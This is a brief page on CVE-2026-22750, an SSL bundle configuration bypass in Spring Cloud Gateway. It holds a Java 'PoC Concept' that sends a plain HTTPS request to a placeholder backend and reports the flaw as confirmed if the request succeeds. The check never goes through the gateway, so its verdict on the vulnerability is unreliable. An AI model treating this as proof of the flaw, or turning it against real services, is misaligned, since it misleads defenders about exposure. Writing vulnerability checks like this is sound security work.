CVE-2026-22750 Spring Cloud Gateway SSL配置绕过漏洞

/* * PoC Concept for CVE-2026-22750 * This test verifies if the custom SSL bundle configuration is applied. * If the connection succeeds when it shouldn't (e.g., connecting to a public site * while expecting a specific self-signed cert), the vulnerability is confirmed. */ import org.springframework.web.client.RestTemplate; import org.springframework.http.HttpEntity; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpMethod; import org.springframework.http.ResponseEntity; public class SslBypassPoC { public static void main(String[] args) { RestTemplate restTemplate = new RestTemplate(); String url = "https://backend-service.example.com/api/data"; try { // If spring.ssl.bundle was ignored, this might use the default trust store // and potentially accept a certificate that should have been rejected by the config. ResponseEntity<String> response = restTemplate.exchange(url, HttpMethod.GET, new HttpEntity<>(new HttpHeaders()), String.class); System.out.println("[+] Request Succeeded: SSL Bundle likely ignored (Default config used)."); System.out.println("[+] Response: " + response.getBody()); } catch (Exception e) { System.out.println("[-] Request Failed: " + e.getMessage()); } } }